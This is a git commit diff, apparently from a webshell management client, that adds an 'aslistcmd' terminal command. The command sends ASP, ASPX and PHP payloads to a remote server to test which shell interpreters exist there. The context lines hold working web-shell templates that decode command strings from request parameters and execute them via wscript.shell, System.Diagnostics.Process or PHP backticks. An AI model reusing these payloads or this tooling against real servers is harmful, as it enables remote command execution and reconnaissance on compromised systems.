(Enhance:Terminal) 新增自定义命令 `aslistcmd`, 列出可使用的命令解释器 (#123)

CHANGELOG.md

@@ -10,6 +10,13 @@
 * Fix 编码器保存后不生效的问题 #135 (thx @K4ngx)
 * Fix core download 参数遗漏问题 #142 (thx @RoyTse)
 
+### 虚拟终端
+
+* 新增自定义命令 `aslistcmd`, 列出可使用的命令解释器 (#123)
+
+![aslistcmd.png](https://i.loli.net/2019/04/05/5ca74815a01a4.png)
+![aslistcmd_win.png](https://i.loli.net/2019/04/05/5ca74819b276e.png)
+
 ### 其它
 
 * 修复默认设置保存时导致 bookmarks 清空的问题

source/core/asp/template/command.js

@@ -8,5 +8,21 @@ module.exports = (arg1, arg2) => ({
       `Set X=CreateObject("wscript.shell").exec(""""&bd(Request("${arg1}"))&""" /c """&bd(Request("${arg2}"))&""""):If Err Then:S="[Err] "&Err.Description:Err.Clear:Else:O=X.StdOut.ReadAll():E=X.StdErr.ReadAll():S=O&E:End If:Response.write(S)`,
     [arg1]: "#{hex::bin}",
     [arg2]: "#{hex::cmd}"
+  },
+  listcmd: {
+    _:
+    `AA=Split(""&bd(Request("${arg1}"))&"",","):
+    Set FS=CreateObject("Scripting.FileSystemObject"):
+    For Each A in AA:
+        Response.Write(A&chr(9)):
+        If FS.FileExists(A) Then:
+          Response.Write("1"):
+        Else:
+          Response.Write("0"):
+        End If:
+        Response.Write(chr(10)):
+    Next
+    `.replace(/\n\s+/g, ''),
+    [arg1]: "#{hex::binarr}",
   }
 })

source/core/aspx/template/command.js

@@ -8,5 +8,15 @@ module.exports = (arg1, arg2) => ({
       `var c=new System.Diagnostics.ProcessStartInfo(System.Text.Encoding.GetEncoding("!{ANT::ENDOCE}").GetString(System.Convert.FromBase64String(Request.Item["${arg1}"])));var e=new System.Diagnostics.Process();var out:System.IO.StreamReader,EI:System.IO.StreamReader;c.UseShellExecute=false;c.RedirectStandardOutput=true;c.RedirectStandardError=true;e.StartInfo=c;c.Arguments="/c "+System.Text.Encoding.GetEncoding("!{ANT::ENDOCE}").GetString(System.Convert.FromBase64String(Request.Item["${arg2}"]));e.Start();out=e.StandardOutput;EI=e.StandardError;e.Close();Response.Write(out.ReadToEnd()+EI.ReadToEnd());`,
     [arg1]: "#{base64::bin}",
     [arg2]: "#{base64::cmd}"
+  },
+  listcmd: {
+    _:
+      `var binarr=System.Text.Encoding.GetEncoding("!{ANT::ENDOCE}").GetString(System.Convert.FromBase64String(Request.Item["${arg1}"]));
+      var ss=binarr.split(",");
+      var i;
+      for(var i in ss){
+        Response.Write(ss[i]+"\\t"+(System.IO.File.Exists(ss[i])?1:0)+"\\n");
+      }`.replace(/\n\s+/g, ''),
+    [arg1]: "#{base64::binarr}",
   }
 })

source/core/php/template/command.js

@@ -47,7 +47,13 @@ module.exports = (arg1, arg2) => ({
     [arg1]: "#{base64::bin}",
     [arg2]: "#{base64::cmd}"
   },
-
+  listcmd: {
+    _: `$arr=explode(",",base64_decode($_POST["${arg1}"]));
+    foreach($arr as $v){
+        echo($v."\t".(file_exists($v)?"1":"0")."\n");
+    }`.replace(/\n\s+/g, ''),
+    [arg1]: "#{base64::binarr}",
+  },
   quote: {
     _:
       `$p=base64_decode($_POST["${arg1}"]);$s=base64_decode($_POST["${arg2}"]);$d=dirname($_SERVER["SCRIPT_FILENAME"]);$c=substr($d,0,1)=="/"?"-c \\"{$s}\\"":"/c \\"{$s}\\"";$r="{$p} {$c}";echo \`{$r} 2>&1\``,

source/language/en.js

@@ -203,6 +203,7 @@ module.exports = {
       help: 'Enter ashelp to view local commands',
       ashelp: `Usage:
  ascmd file\t\tExecute the command with file, eg: ascmd /bin/bash
+ aslistcmd\t\tList available command interpreters
  quit\t\tClose terminal
  exit\t\tClose terminal
 

source/language/zh.js

@@ -204,6 +204,7 @@ module.exports = {
       help: '输入 ashelp 查看本地命令',
       ashelp: `使用帮助:
  ascmd file\t\t指定file来执行命令, eg: ascmd /bin/bash
+ aslistcmd\t\t列出可使用的命令解释器
  quit\t\t关闭终端
  exit\t\t关闭终端
 

source/modules/terminal/index.js

@@ -150,6 +150,48 @@ class Terminal {
         term.echo(LANG['ascmd']['ashelp']);
         return;
       }
+      if (cmd === 'aslistcmd'){
+        var binarr = "";
+        if (this.isWin) {
+          binarr = [
+            "C:/Windows/System32/cmd.exe",
+            "C:/Windows/SysWOW64/cmd.exe",
+            "C:/Windows/System32/WindowsPowerShell/v1.0/powershell.exe",
+            "C:/Windows/SysWOW64/WindowsPowerShell/v1.0/powershell.exe",
+          ].join(',');
+        }else{
+          binarr = [
+            "/bin/sh",
+            "/bin/ash",
+            "/bin/bash",
+            "/bin/zsh",
+            "/bin/busybox",
+          ].join(',');
+        }
+        this.core.request(
+          this.core.command.listcmd({
+            binarr: binarr,
+          })
+        ).then((ret) => {
+          let res = ret['text'];
+          if(res.indexOf("ERROR://") > -1){
+            throw res;
+          }
+          let result = "";
+          res.split('\n').map((v) => {
+            var line = v.split('\t');
+            if(line.length == 2){
+              var r = parseInt(line[1]) === 1 ? '[[b;#15af63;]OK]' : '[[b;#E80000;]FAIL]';
+              result += `${line[0]}\t\t\t${r}\n`;
+            }
+          });
+          term.echo(result);
+          term.resume();
+        }).catch((err) => {
+          term.resume();
+        });
+        return;
+      }
       if ( cmd.substr(0,5) === 'ascmd') {
         var sessbin = cmd.substr(5).trim();
         if(sessbin.length>0){
@@ -230,7 +272,7 @@ class Terminal {
         // < 1.0.0 时使用3个参数 completion: (term, value, callback) => {}
         completion: (value, callback) => {
           callback([
-            'ashelp', 'ascmd', 'quit', 'exit'
+            'ashelp', 'ascmd', 'aslistcmd', 'quit', 'exit'
           ].concat(
             this.isWin ? [
               'dir', 'whoami', 'net', 'ipconfig', 'netstat', 'cls',